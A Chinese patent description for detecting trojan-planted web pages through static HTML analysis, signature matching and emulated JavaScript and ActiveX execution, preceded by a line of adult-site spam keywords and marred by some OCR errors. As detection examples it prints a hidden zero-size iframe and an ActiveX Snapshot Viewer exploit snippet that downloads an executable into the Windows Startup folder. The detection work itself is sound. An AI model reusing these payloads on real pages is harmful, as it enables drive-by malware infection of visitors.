欧美在线观看视频网站,亚洲熟妇色自偷自拍另类,啪啪伊人网,中文字幕第13亚洲另类,中文成人久久久久影院免费观看 ,精品人妻人人做人人爽,亚洲a视频

網(wǎng)頁掛馬檢測方法和系統(tǒng)的制作方法

文檔序號:6575239閱讀:130來源:國知局

專利名稱::網(wǎng)頁掛馬檢測方法和系統(tǒng)的制作方法
技術(shù)領(lǐng)域
:本發(fā)明涉及計算機惡意代碼檢查領(lǐng)域,尤其涉及一種檢測網(wǎng)頁是否包含危險數(shù)據(jù),即網(wǎng)頁是否被掛馬的檢測方法和系統(tǒng)。
背景技術(shù)
:計算機病毒、木馬、間諜軟件和惡意代碼是計算機網(wǎng)絡最主要的安全威脅。在計算機病毒、木馬、間諜軟件和惡意代碼的傳播途徑中,一條重要的途徑就是通過構(gòu)造特殊的網(wǎng)頁將病毒、木馬傳播、間諜軟件和惡意代碼傳播到訪問該網(wǎng)頁的用戶計算機中。在本
技術(shù)領(lǐng)域
,將這種特殊的網(wǎng)頁稱為被掛馬的網(wǎng)頁。網(wǎng)頁掛馬,是指有目的地利用諸如第三方控件或者瀏覽器漏洞之類的現(xiàn)有系統(tǒng)漏洞,構(gòu)造出包括能夠觸發(fā)漏洞的危險數(shù)據(jù)的網(wǎng)頁。當用戶訪問這些被掛馬的網(wǎng)頁時,這些危險數(shù)據(jù)會在用戶計算機上執(zhí)行與危險數(shù)據(jù)相關(guān)的惡意代碼,利用現(xiàn)有系統(tǒng)的漏洞在用戶計算機上未經(jīng)許可地執(zhí)行命令、修改主機配置,并進一步執(zhí)行諸如下載病毒、木馬、間諜軟件和惡意代碼之類的操作。網(wǎng)頁掛馬主要利用瀏覽器腳本解釋引擎、JVMCJava虛擬機)和諸如ActiveX控件之類的控件的漏洞。在當前情況下,各種瀏覽器腳本、Java應用小程序和各種控件在基于瀏覽器的應用中廣泛使用,因此,也造成了網(wǎng)頁掛馬成為計算機病毒、木馬、間諜軟件和惡意代碼的重要途徑。針對網(wǎng)頁掛馬的處理方式可以大致分為兩種被動防御方式和主動掃描方式。被動防御方式在用戶訪問某個網(wǎng)頁時,監(jiān)控瀏覽器處理該網(wǎng)頁時的行為,如監(jiān)控內(nèi)存分配、跟蹤系統(tǒng)API調(diào)用以及進行數(shù)據(jù)比較,當發(fā)現(xiàn)行為異常時,確定該網(wǎng)頁被掛馬了,并阻止對網(wǎng)頁的進一步處理。主動掃描方式是主動請求網(wǎng)頁內(nèi)容,然后分析該網(wǎng)頁內(nèi)容以確定該網(wǎng)頁是否被掛馬。在分析網(wǎng)頁內(nèi)容時采用的大多數(shù)掛馬分析系統(tǒng)采用特征分析來進行。目前,已經(jīng)提出了多種對網(wǎng)頁掛馬進行檢測的方法。專利號為200610152531.8的中國專利公開了一種基于統(tǒng)計特征的網(wǎng)頁惡意腳本檢測方法。該發(fā)明基于這樣的原理,即網(wǎng)頁中的惡意代碼必定經(jīng)過處理,而處理后網(wǎng)頁中的正常字符和非正常字符的比例有著明顯的差異,所以利用網(wǎng)頁的字符統(tǒng)計特征(包括字符頻率統(tǒng)計、相鄰字符跨度值統(tǒng)計、與字典匹配度統(tǒng)計)可以檢測出網(wǎng)頁是否包括惡意腳本。但是,利用字符統(tǒng)計特征來檢測惡意腳本存在準確率低、不能對未經(jīng)過處理的危險數(shù)據(jù)進行檢測、因而不能充分檢測到掛馬的問題。另外基于統(tǒng)計的檢測方法依賴于大量的統(tǒng)計數(shù)據(jù),這需要事先確定已知被掛馬和未被掛馬的網(wǎng)頁,因而需要大量的工作量。申請?zhí)枮?00810198999.X的中國專利申請公開了一種網(wǎng)頁防掛馬的方法。該發(fā)明的基本原理是監(jiān)控javascript的內(nèi)存分配情況,根據(jù)分配內(nèi)存是否覆蓋特定地址,通過掛接API函數(shù)跟蹤腳本執(zhí)行過程,通過判斷執(zhí)行結(jié)果來檢測網(wǎng)頁是否被掛馬。但是該網(wǎng)頁防掛馬方法只能檢測到與javascript腳本解釋引擎相關(guān)的漏洞,尤其是利用javascript腳本解釋引擎中的heapspray的網(wǎng)頁掛馬方式。因此該方法存在能夠進行檢測的掛馬不夠全面的問題。申請?zhí)枮?00810098131.2的中國專利申請公開了一種網(wǎng)站惡意內(nèi)容檢測與認證方法及系統(tǒng),其中的數(shù)據(jù)采集引擎以模擬用戶行為的方式來對目標網(wǎng)站上的內(nèi)容進行采集;本地數(shù)據(jù)庫存儲所采集到的內(nèi)容;惡意內(nèi)容分析引擎對存儲下來的內(nèi)容進行分析以檢測其中是否存在惡意內(nèi)容;認證授權(quán)數(shù)據(jù)庫存儲分析結(jié)果;反饋引擎將存在惡意內(nèi)容的分析結(jié)果反饋給目標網(wǎng)站;認證授權(quán)引擎在不存在惡意內(nèi)容時對目標網(wǎng)站授予通過認證的標志。在該申請中,惡意內(nèi)容分析引擎通過特征分析和殺毒軟件對存儲的內(nèi)容進行分析以檢測其中是否存在惡意內(nèi)容,但是其中沒有公開進行分析的具體處理方式。該專利申請主要在于提供一種對網(wǎng)站進行認證的方法和系統(tǒng),而沒有對如何分析網(wǎng)頁是否被掛馬提供詳細分析??梢钥闯?,雖然現(xiàn)有技術(shù)中提供了多種對網(wǎng)頁掛馬進行檢測的方式,但是這些方式均存在效率不高、準確度不高并且不能對各種危險數(shù)據(jù)進行全面檢測的問題。因此,希望提供一種可以高效、準確且全面地對網(wǎng)頁是否被掛馬進行檢測的方法和系統(tǒng)。
發(fā)明內(nèi)容本發(fā)明的申請人發(fā)現(xiàn),在網(wǎng)頁被掛馬時,通常利用特定方式將危險數(shù)據(jù)(如惡意代碼)嵌入到網(wǎng)頁中,而且這些危險數(shù)據(jù)通常以特定方式利用系統(tǒng)漏洞。申請人基于此提出了一種通過對代碼嵌入到網(wǎng)頁中的方式和系統(tǒng)漏洞被利用方式二者進行監(jiān)控來檢測網(wǎng)頁是否被掛馬的方式,從而可以高效且全面地進行網(wǎng)頁掛馬檢測。根據(jù)本發(fā)明的一個方面,提供了一種檢測網(wǎng)頁是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測方法,包括步驟獲取網(wǎng)頁內(nèi)容;對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析,以檢測可能包含危險數(shù)據(jù)的網(wǎng)頁對象;獲取所檢測到的網(wǎng)頁對象的對象內(nèi)容;以及確定所述對象內(nèi)容是否包含危險數(shù)據(jù)。根據(jù)本發(fā)明的一個實施例,根據(jù)可能包含危險數(shù)據(jù)的網(wǎng)頁對象的對象特征對所獲取的網(wǎng)頁內(nèi)容進行特征匹配,以檢測可能包含危險數(shù)據(jù)的網(wǎng)頁對象。根據(jù)本發(fā)明的另一個實施例,根據(jù)危險數(shù)據(jù)特征對所述對象內(nèi)容進行特征匹配,以確定所述對象內(nèi)容是否包含危險數(shù)據(jù)。根據(jù)本發(fā)明的另一個實施例,構(gòu)造對象執(zhí)行引擎來模擬執(zhí)行所述對象內(nèi)容,并且監(jiān)控所述對象內(nèi)容的模擬執(zhí)行,當出現(xiàn)異常行為時,確定所述對象內(nèi)容包含危險數(shù)據(jù)。根據(jù)本發(fā)明的另一個實施例,當所述對象內(nèi)容的模擬執(zhí)行期間調(diào)用外部URL時,則遞歸執(zhí)行根據(jù)本發(fā)明的方法來檢測鏈接所指向的網(wǎng)頁內(nèi)容是否包含危險數(shù)據(jù)。根據(jù)本發(fā)明的另一方面,提供了一種網(wǎng)頁掛馬檢測設備,包括網(wǎng)頁獲取裝置,用于獲取與URL相對應的網(wǎng)頁內(nèi)容;靜態(tài)分析裝置,用于對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析,以檢測出可能包含危險數(shù)據(jù)的網(wǎng)頁對象;對象內(nèi)容獲取裝置,用于為所檢測出的可能包含危險數(shù)據(jù)的網(wǎng)頁對象獲取對象內(nèi)容;以及危險數(shù)據(jù)確定裝置,用于判斷所述對象內(nèi)容是否包含危險數(shù)據(jù)。根據(jù)本發(fā)明的一個實施例,網(wǎng)頁掛馬檢測設備還包括對象特征庫,而且靜態(tài)分析裝置根據(jù)對象特征庫所包括的對象特征,通過對所述網(wǎng)頁內(nèi)容進行特征匹配來檢測出可能包含危險數(shù)據(jù)的網(wǎng)頁對象。根據(jù)本發(fā)明的另一個實施例,網(wǎng)頁掛馬檢測設備還包括危險數(shù)據(jù)特征庫,而且危險數(shù)據(jù)確定裝置包括特征匹配裝置,用于參考危險數(shù)據(jù)特征庫中的危險數(shù)據(jù)的特征信息來確定對象內(nèi)容是否包含危險數(shù)據(jù)。根據(jù)本發(fā)明的另一個實施例,危險數(shù)據(jù)確定裝置包括模擬執(zhí)行裝置,用于構(gòu)造對象執(zhí)行引擎來模擬執(zhí)行所述對象內(nèi)容,并且通過監(jiān)控所述對象內(nèi)容執(zhí)行期間的異常行為來確定所述對象內(nèi)容是否包括危險數(shù)據(jù)。本發(fā)明還提供了包括上述網(wǎng)頁掛馬檢測設備的網(wǎng)站主動檢測系統(tǒng)和網(wǎng)頁爬蟲系統(tǒng)。本發(fā)明通過靜態(tài)分析網(wǎng)頁內(nèi)容和動態(tài)解釋執(zhí)行可疑的對象內(nèi)容來高效且準確地檢測網(wǎng)頁是否被掛馬。本發(fā)明的基本原理是利用危險數(shù)據(jù)嵌入網(wǎng)頁的方式以及危險數(shù)據(jù)利用漏洞的方法來檢測危險數(shù)據(jù),因此可以實現(xiàn)全面對網(wǎng)頁是否被掛馬的準確檢測。通過閱讀下文優(yōu)選實施方式的詳細描述,各種其他的優(yōu)點和益處對于本領(lǐng)域普通技術(shù)人員將變得清楚明了。附圖僅用于示出優(yōu)選實施方式的目的,而并不認為是對本發(fā)明的限制。而且在整個附圖中,用相同的參考符號表示相同的部件。其中在附圖中,參考數(shù)字之后的字母標記指示多個相同的部件,當泛指這些部件時,將省略其最后的字母標記。在附圖中圖1示出了根據(jù)本發(fā)明一個實施例的用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的方法的流程圖100;圖2示出了根據(jù)本發(fā)明一個實施例的用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測設備200;圖3示出了一種根據(jù)本發(fā)明另一個實施例的、用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測方法300;以及。圖4示出了根據(jù)本發(fā)明另一個實施例的、用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測設備400。具體實施例下面結(jié)合附圖和具體的實施方式對本發(fā)明作進一步的描述。圖1示出了一種根據(jù)本發(fā)明實施例的、用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測方法。在步驟SllO處,獲取網(wǎng)頁內(nèi)容??梢愿鞣N已知的方式來獲取網(wǎng)頁內(nèi)容,例如通過構(gòu)造遵循HTTP或者HTTPS的客戶端來獲取網(wǎng)頁內(nèi)容。然后在步驟S120處,對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析,以便檢測出可能包含危險數(shù)據(jù)的HTML對象。網(wǎng)頁內(nèi)容包括多個HTML對象,如table、title或者img等等。本發(fā)明的申請人發(fā)現(xiàn),危險數(shù)據(jù)通常出現(xiàn)在特定的HTML對象中,這些特定HTML對象包括iframe、frame、引用javascript腳本的URL地址、ActiveX控件(object對象)以及javascript代碼(script對象)等。根據(jù)本發(fā)明的優(yōu)選實施例,提供了一個包括可能包含危險數(shù)據(jù)的HTML對象的對象特征的對象特征庫,在步驟S120的執(zhí)行過程中,根據(jù)對象特征庫對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析,如進行特征匹配,以檢測出可能包含危險數(shù)據(jù)的HTML對象。例如,HTML對象:<iframesrc=http//*******.com/bbb.htmwidth=Oheight=0></iframe>為iframe對象,而且其中的參數(shù)width和height都被設置為0,該對象就非常有可能是包含危險數(shù)據(jù)的對象。因此,對象特征庫中可以包括display屬性為none,或者width和height屬性小于一定值的iframe對象作為其項目之一。當網(wǎng)頁內(nèi)容中的某個對象與該項目相匹配時,就認定該網(wǎng)頁對象屬于可能包含危險數(shù)據(jù)的HTML對象。如果在步驟S120中沒有檢測出這樣的HTML對象,則說明該網(wǎng)頁不包含危險數(shù)據(jù),因此在步驟S130輸出該網(wǎng)頁不包括危險數(shù)據(jù)的結(jié)果,并且結(jié)束該方法。相反,如果在步驟S120中檢測出一個或者多個可能包含危險數(shù)據(jù)的HTML對象,則對于這些HTML對象中的每個,在步驟S140處判斷該HTML對象是直接可能包含危險數(shù)據(jù)的還是間接可能包含危險數(shù)據(jù)的對象。HTML對象可以分為直接可能包含危險數(shù)據(jù)的HTML對象和間接可能包含危險數(shù)據(jù)的對象。例如,HTML對象<iframesrc=http://-k-k-k-k-k-k-k.com/bbb.htmwidth=Oheight=0></iframe>屬于間接可能包含危險數(shù)據(jù)的對象,因為即使該對象包含了危險數(shù)據(jù),包含危險數(shù)據(jù)的內(nèi)容也包含在http://*******·com/bbb.htm中。而HTML對象〈objectclassid='clsid:F0E42D50-368C-llD0-AD81_00A0C90DC8D9'id='malware'></object>〈script〉varaaa='http://127.0.0.1/a.exe';varbbb='C/DocumentsandSettings/AllUsers/「開始」菜單/程序/test,exe';malware.SnapshotPath—SlSlSlmalware.CompressedPath=bbb;〈/script〉<scriptlanguage='javascript'>malware.PrintSnapshot();〈/script〉屬于直接可能包含危險數(shù)據(jù)的對象,這是因為該HTML對象中直接就包括了可能包含危險數(shù)據(jù)的對象內(nèi)容。因此,如果在步驟S140處判斷出該HTML對象為間接可能包含危險數(shù)據(jù)的對象,則需要在步驟S150中,對該HTML對象進行進一步處理以獲得直接可能包含危險數(shù)據(jù)的對象。存在多種對間接可能包含危險數(shù)據(jù)的對象進行處理以獲得直接可能包含危險數(shù)據(jù)的對象的方法。例如,間接可能包含危險數(shù)據(jù)的對象通常為到其它網(wǎng)頁的鏈接,此時,可以提取該鏈接,并獲取該鏈接所指向網(wǎng)頁的內(nèi)容,然后通過利用本方法中的相關(guān)處理以獲得直接可能包含危險數(shù)據(jù)的對象。如果在步驟S150中沒有獲得直接可能包含危險數(shù)據(jù)的對象,則說明該間接可能包含危險數(shù)據(jù)的對象實際上并沒有包含危險數(shù)據(jù),因此,該方法返回到步驟S140以處理在步驟S120中檢測到的下一個可能包含危險數(shù)據(jù)的對象。在步驟S160處,提取在步驟S140或者S150處獲取的直接可能包含危險數(shù)據(jù)的對象的對象內(nèi)容。然后在步驟S170處,對該對象內(nèi)容進行處理以確定該對象內(nèi)容是否包含危險數(shù)據(jù)。存在各種確定對象內(nèi)容是否包含危險數(shù)據(jù)的方法。例如,在本發(fā)明的一個實施例中,提供了危險數(shù)據(jù)特征庫,該特征庫中包含了各種已知危險數(shù)據(jù)的特定特征。因此在步驟S170的處理中,可以通過根據(jù)危險數(shù)據(jù)特征庫中所包含的危險數(shù)據(jù)特定特征來對對象內(nèi)容進行特征匹配,從而進行內(nèi)容分析,以確定該對象內(nèi)容是否包含危險數(shù)據(jù)。例如在上述示例中的classid='clsid:F0E42D50-368C-llD0-AD81_00A0C90DC8D9‘為微軟Access中捆綁了的快照查看器的ActiveX控件的標識。由于該控件一般不會在網(wǎng)頁中被調(diào)用,因此,該標識包含在危險數(shù)據(jù)特征庫中。當對象內(nèi)容包括該classid標識時,可以判斷該對象內(nèi)容包含危險數(shù)據(jù)。當無法利用危險數(shù)據(jù)特征庫來快速確定對象內(nèi)容是否包含危險數(shù)據(jù)時,可以通過特定的對象執(zhí)行引擎模擬執(zhí)行對象內(nèi)容來確定該對象內(nèi)容是否包含危險數(shù)據(jù)。例如,根據(jù)本發(fā)明的一個實施例,在對象內(nèi)容為javascript腳本的情況下,通過特定的javascript腳本解釋引擎來模擬執(zhí)行該javascript腳本,并監(jiān)控該腳本執(zhí)行過程中的內(nèi)存分配情況,如果發(fā)現(xiàn)javascript腳本在執(zhí)行時分配大量內(nèi)存或者覆蓋特定地址(如申請?zhí)枮?00810198999.X的中國專利申請所述,該申請的內(nèi)容通過引用在此并入),則認為該對象內(nèi)容包含危險數(shù)據(jù)。否則可以認為該腳本的執(zhí)行是正常的,并且不包含危險數(shù)據(jù)。進一步,根據(jù)本發(fā)明的另一個實施例,在對象內(nèi)容為ActiveX控件的情況下,首先可以如上所述利用危險數(shù)據(jù)特征庫來快速確定對象內(nèi)容是否包含危險數(shù)據(jù),當無法確定ActiveX控件是否包含危險數(shù)據(jù)時,可以通過特定的ActiveX控件執(zhí)行引擎來模擬執(zhí)行該ActiveX控件,并且監(jiān)控控件執(zhí)行過程中是否存在對危險接口的調(diào)用,當存在對危險接口的調(diào)用時,認為該對象內(nèi)容包含危險數(shù)據(jù),否則認為該對象內(nèi)容不包括危險數(shù)據(jù)。應當注意的是,上面雖然以javascript腳本和ActiveX控件為例說明了確定對象內(nèi)容是否包含危險數(shù)據(jù)的判斷方式,但是應當注意的是,這種構(gòu)造特定對象執(zhí)行引擎來模擬執(zhí)行對象內(nèi)容,并且通過監(jiān)控對象內(nèi)容執(zhí)行期間的異常行為來確定該對象內(nèi)容是否包括危險數(shù)據(jù)的方式同樣適用于其他對象內(nèi)容,如AdobeFlash對象和JavaApplet等。另外,還應當注意的是,上面雖然描述了當無法利用危險數(shù)據(jù)特征庫來快速確定對象內(nèi)容是否包含危險數(shù)據(jù)時,才通過特定的對象執(zhí)行引擎模擬執(zhí)行對象內(nèi)容來確定該對象內(nèi)容是否包含危險數(shù)據(jù),但是這些確定對象內(nèi)容是否包含危險數(shù)據(jù)的方法步驟可以相互獨立地進行,而不存在先后順序。當在步驟S170確定某個對象內(nèi)容包含危險數(shù)據(jù)時,可以在步驟S180直接輸出該網(wǎng)頁包含危險數(shù)據(jù)的結(jié)果,并且退出該方法。而當在步驟S170確定該對象內(nèi)容不包含對象內(nèi)容時,在步驟S190判斷是否還存在要處理的對象,如果還存在,則返回到步驟S140以處理在步驟S120中檢測到的下一個可能包含危險數(shù)據(jù)的對象。如果所有對象都被處理了,且沒有發(fā)現(xiàn)包含危險數(shù)據(jù)的對象,則認為該網(wǎng)頁不包含危險數(shù)據(jù),即沒有被掛馬,此時通過步驟S130輸出該網(wǎng)頁不包括危險數(shù)據(jù)的結(jié)果,并且結(jié)束該方法。應當注意的是,在上述方法100中,一旦檢測到某個對象內(nèi)容包含危險數(shù)據(jù),則立即報告該結(jié)果并結(jié)束方法的執(zhí)行。但是,根據(jù)本發(fā)明的另一個實施例,在檢測到對象內(nèi)容包含危險數(shù)據(jù)時,記載相關(guān)信息,并且繼續(xù)處理下一個對象,直到處理完全對象為止,然后根據(jù)記載的相關(guān)信息輸出網(wǎng)頁中包含危險數(shù)據(jù)的詳細內(nèi)容。這在某些應用,如對某個網(wǎng)站進行掃描以確定網(wǎng)站被掛馬的詳細情況的應用中是尤其有利的。根據(jù)本發(fā)明的上述方法100首先對頁面進行靜態(tài)分析,確定可能包含危險數(shù)據(jù)的HTML對象,隨后提取這些HTML對象中的對象內(nèi)容,并通過特征匹配和模擬執(zhí)行來確定這些HTML對象內(nèi)容是否包含危險數(shù)據(jù),即確定網(wǎng)頁是否被掛馬。由于方法100結(jié)合了靜態(tài)分析、特征匹配和模擬執(zhí)行等方式,因此可以快速且準確地確定網(wǎng)頁是否包含危險數(shù)據(jù)。此外,還可以通過模擬執(zhí)行來確定網(wǎng)頁中是否包含目前未知的危險數(shù)據(jù)。另外,對于方法100中所用到的對象特征庫和危險數(shù)據(jù)特征庫,可以根據(jù)網(wǎng)頁掛馬方式的最新進展而進行動態(tài)更新,由此進一步保證了方法100的準確性。另外通過靜態(tài)分析和模擬執(zhí)行相結(jié)合,實時監(jiān)控內(nèi)存分配行為,可以檢測出其利用的未知漏洞,進一步保證以最快的速度掃描出潛在的危險數(shù)據(jù)。圖2示出了根據(jù)本發(fā)明一個實施例的、用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測設備200。網(wǎng)頁掛馬檢測設備200包括網(wǎng)頁獲取裝置210、靜態(tài)分析裝置220、對象特征庫230、對象內(nèi)容獲取裝置240、危險數(shù)據(jù)確定裝置250和危險數(shù)據(jù)特征庫260。網(wǎng)頁獲取裝置210根據(jù)輸入的URL地址來獲取相應的網(wǎng)頁內(nèi)容,并且將網(wǎng)頁內(nèi)容發(fā)送給靜態(tài)分析裝置220進行處理。靜態(tài)分析裝置220從網(wǎng)頁內(nèi)容中檢測出可能包含危險數(shù)據(jù)的HTML對象。作為選擇,如上面參考步驟S120的處理所述的那樣,靜態(tài)分析裝置220可以根據(jù)對象特征庫230中所包含的各種HTML對象的特征來對網(wǎng)頁內(nèi)容進行特征匹配,從而檢測出可能包含危險數(shù)據(jù)的HTML對象。對象內(nèi)容獲取裝置240為由靜態(tài)分析裝置220檢測出的每個可能包含危險數(shù)據(jù)的HTML對象獲取相應的對象內(nèi)容。如上所述,HTML對象可以分為直接可能包含危險數(shù)據(jù)的HTML對象和間接可能包含危險數(shù)據(jù)的對象,因此,對象內(nèi)容獲取裝置240如上面參考步驟S140和S160的處理所述的那樣進行處理以獲取最終可能包含危險數(shù)據(jù)的對象內(nèi)容。危險數(shù)據(jù)確定裝置250對由對象內(nèi)容獲取裝置240所獲取的對象內(nèi)容進行分析以判斷該對象內(nèi)容是否包含危險數(shù)據(jù)??蛇x地,危險數(shù)據(jù)確定裝置250可以參考危險數(shù)據(jù)特征庫260中的危險數(shù)據(jù)特征來快速確定對象內(nèi)容是否包含危險數(shù)據(jù)。另外,危險數(shù)據(jù)確定裝置250還可以構(gòu)造特定對象執(zhí)行引擎來模擬執(zhí)行對象內(nèi)容,并且通過監(jiān)控對象內(nèi)容執(zhí)行期間的異常行為來確定該對象內(nèi)容是否包括危險數(shù)據(jù),并輸出判斷結(jié)果。在上文中已經(jīng)描述了各種判斷對象內(nèi)容是否包含危險數(shù)據(jù)的方式,這些方式都可以在危險數(shù)據(jù)確定裝置250中實現(xiàn),因此這里不再對這些方式進行重復。申請人:發(fā)現(xiàn),在各種對象內(nèi)容的模擬執(zhí)行期間,有時會觸發(fā)對外部URL的引用,并且執(zhí)行該外部URL的內(nèi)容,因此,為了更全面地確定某個網(wǎng)頁是否包含危險數(shù)據(jù)或者被掛馬,就必須也對這種在對象內(nèi)容被模擬執(zhí)行期間引用的URL進行分析。例如,某個javascript對象內(nèi)容為"document,writeln(‘‘<iframesrc=http://*******.com/bbb.htmwidth=Oheight=0></iframe>")P^WWiA行期間,會觸發(fā)對URL:http://*******.com/bbb.htm的內(nèi)容的引用,因此也需要對其中的9內(nèi)容進行分析。另外,根據(jù)本發(fā)明的方法始于獲取某個URL所指向網(wǎng)頁的網(wǎng)頁內(nèi)容,而在本發(fā)明方法的執(zhí)行期間,也需要獲取與相關(guān)對象相關(guān)聯(lián)的URL的網(wǎng)頁內(nèi)容進行處理。例如,在方法步驟S150和對象內(nèi)容獲取裝置240對間接可能包含危險數(shù)據(jù)的對象進行處理期間,由于間接可能包含危險數(shù)據(jù)的對象通常都是到外部URL的鏈接,此時需要提取該URL鏈接所包含的內(nèi)容進行分析。因此,可以對本發(fā)明的方法進行進一步改進,以通過遞歸執(zhí)行本發(fā)明的方法來提高本發(fā)明方法的執(zhí)行效率。圖3示出了一種根據(jù)本發(fā)明另一個實施例的、用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測方法300。在方法300中,與方法100中相同或者相似的處理用相同的附圖標記表示,并且不再進行描述。第一個不同之處在于步驟S140’,當判斷出HTML對象為間接可能包含危險數(shù)據(jù)的對象時,提取相關(guān)的URL,然后方法返回到步驟SllO以開始對該URL開始新的處理。第二個不同之處在于步驟S170’,其中通過危險數(shù)據(jù)特征匹配來確定對象內(nèi)容是否包含危險數(shù)據(jù),如果包含危險數(shù)據(jù),則方法進行到步驟S180以輸出該網(wǎng)頁包含危險數(shù)據(jù)的結(jié)果。否則,方法進入步驟S310,其中通過構(gòu)造特定對象執(zhí)行引擎來模擬執(zhí)行對象內(nèi)容,如果在模擬執(zhí)行期間發(fā)現(xiàn)有對外部URL的引用(S320),則提取相關(guān)的URL,然后方法返回到步驟SllO以開始對該URL開始新的處理。如果在模擬執(zhí)行期間發(fā)現(xiàn)有異常行為(S330),則斷定該對象內(nèi)容包含危險數(shù)據(jù),方法進入步驟S180以輸出該網(wǎng)頁包含危險數(shù)據(jù)的結(jié)果。如果沒有發(fā)現(xiàn)異常,則方法進入步驟S190以確定是否存在還要處理的對象。應當注意的是,方法300為方法100的進一步擴展,因此對于方法100的描述同樣適用于方法300,例如,在步驟S310的處理中,上面在方法100的步驟S170的相關(guān)描述中所指出的、對javascript和ActiveX控件的異常判斷同樣在此適用。圖4示出了根據(jù)本發(fā)明另一個實施例的、用于檢測網(wǎng)頁中是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測設備400。在網(wǎng)頁掛馬檢測設備400中,與網(wǎng)頁掛馬檢測設備200中相同或者相似的處理用相同的附圖標記表示,并且不再進行描述。在網(wǎng)頁掛馬檢測設備400中,對象內(nèi)容獲取裝置240另外包括可疑URL獲取裝置241和直接對象內(nèi)容獲取裝置243。如先前所述HTML對象可以分為直接可能包含危險數(shù)據(jù)的HTML對象和間接可能包含危險數(shù)據(jù)的對象,直接對象內(nèi)容獲取裝置對直接可能包含危險數(shù)據(jù)的HTML對象進行處理,以獲取其中的內(nèi)容。由于間接可能包含危險數(shù)據(jù)的對象通常都是URL鏈接,因此由可疑URL獲取裝置241提取這些URL鏈接,并且將該URL發(fā)送到網(wǎng)頁獲取裝置210以獲取相應的網(wǎng)頁內(nèi)容進行進一步處理。此外,危險數(shù)據(jù)確定裝置250進一步包括模擬執(zhí)行裝置251和特征匹配裝置253。特征匹配裝置253參考危險數(shù)據(jù)特征庫260中的危險數(shù)據(jù)特征來快速確定對象內(nèi)容是否包含危險數(shù)據(jù)。模擬執(zhí)行裝置251構(gòu)造特定對象執(zhí)行引擎來模擬執(zhí)行對象內(nèi)容,并且通過監(jiān)控對象內(nèi)容執(zhí)行期間的異常行為來確定該對象內(nèi)容是否包括危險數(shù)據(jù)。另外,在模擬執(zhí)行裝置模擬執(zhí)行對象內(nèi)容期間,如果發(fā)現(xiàn)有對外部URL的調(diào)用,則提取該URL鏈接,并將其發(fā)送到網(wǎng)頁獲取裝置210以獲取相應的網(wǎng)頁內(nèi)容進行進一步處理。特別地,模擬執(zhí)行裝置251還包括javascript解析引擎2511和ActiveX模擬引擎2512來分別模擬執(zhí)行javascript腳本和ActiveX控件。Javascript解析引擎2511模擬執(zhí)行javascript腳本,并監(jiān)控該腳本執(zhí)行過程中的內(nèi)存分配情況,如果發(fā)現(xiàn)javascript腳本在執(zhí)行時分配大量內(nèi)存或者覆蓋特定地址,則認為該對象內(nèi)容包含危險數(shù)據(jù),否則可以認為該腳本的執(zhí)行是正常的,并且不包含危險數(shù)據(jù)。ActiveX模擬引擎2512模擬執(zhí)行ActiveX控件,并且監(jiān)控控件執(zhí)行過程中是否存在對危險接口的調(diào)用,當存在對危險接口的調(diào)用時,認為該對象內(nèi)容包含危險數(shù)據(jù),否則認為該對象內(nèi)容不包括危險數(shù)據(jù)。上面描述了根據(jù)本發(fā)明的用于確定網(wǎng)頁是否包含危險數(shù)據(jù),即網(wǎng)頁是否被掛馬的檢測方法和設備。根據(jù)本發(fā)明的檢測方法和設備首先通過靜態(tài)分析來確定可能包含危險內(nèi)容的網(wǎng)頁對象,然后通過特征匹配和模擬執(zhí)行來確定這些網(wǎng)頁對象是否的確包含危險內(nèi)容,因此可以準確且快速地對網(wǎng)頁是否被掛馬進行確定。另外,根據(jù)本發(fā)明的檢測方法和設備在檢測網(wǎng)頁是否掛馬時,還對由該網(wǎng)頁調(diào)用的、可能包含危險內(nèi)容的URL的內(nèi)容也進行檢測,由此進一步確保了檢測的全面性和準確性。根據(jù)本發(fā)明的檢測方法和設備可以應用于許多領(lǐng)域。例如,在網(wǎng)頁搜索中常用的網(wǎng)頁爬蟲系統(tǒng)可以利用根據(jù)本發(fā)明的方法和設備對每個獲取的網(wǎng)頁進行分析,以確定網(wǎng)頁是否被掛馬,并且向客戶提供該指示。另外,網(wǎng)站主動監(jiān)測系統(tǒng)也可以利用根據(jù)本發(fā)明的方法和設備來對網(wǎng)站中的網(wǎng)頁進行分析,來確定網(wǎng)頁是否被掛馬,并向相關(guān)的系統(tǒng)管理員提供檢測結(jié)果,從而可以進一步確保網(wǎng)站的安全。應該注意的是,上述實施例對本發(fā)明進行說明而不是對本發(fā)明進行限制,并且本領(lǐng)域技術(shù)人員在不脫離所附權(quán)利要求的范圍的情況下可設計出替換實施例。在權(quán)利要求中,不應將位于括號之間的任何參考符號構(gòu)造成對權(quán)利要求的限制。單詞“包含”不排除存在未列在權(quán)利要求中的元件或步驟。位于元件之前的單詞“一”或“一個”不排除存在多個這樣的元件。本發(fā)明可以借助于包括有若干不同元件的硬件以及借助于適當編程的計算機來實現(xiàn)。在列舉了若干裝置的單元權(quán)利要求中,這些裝置中的若干個可以是通過同一個硬件項來具體體現(xiàn)。單詞第一、第二、以及第三等的使用不表示任何順序??蓪⑦@些單詞解釋為名稱。權(quán)利要求一種檢測網(wǎng)頁是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測方法,包括步驟獲取網(wǎng)頁內(nèi)容;對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析,以檢測可能包含危險數(shù)據(jù)的網(wǎng)頁對象;獲取所檢測到的網(wǎng)頁對象的對象內(nèi)容;以及確定所述對象內(nèi)容是否包含危險數(shù)據(jù)。2.如權(quán)利要求1所述的網(wǎng)頁掛馬檢測方法,其中所述確定所述對象內(nèi)容是否包含危險數(shù)據(jù)的步驟還包括根據(jù)危險數(shù)據(jù)特征對所述對象內(nèi)容進行特征匹配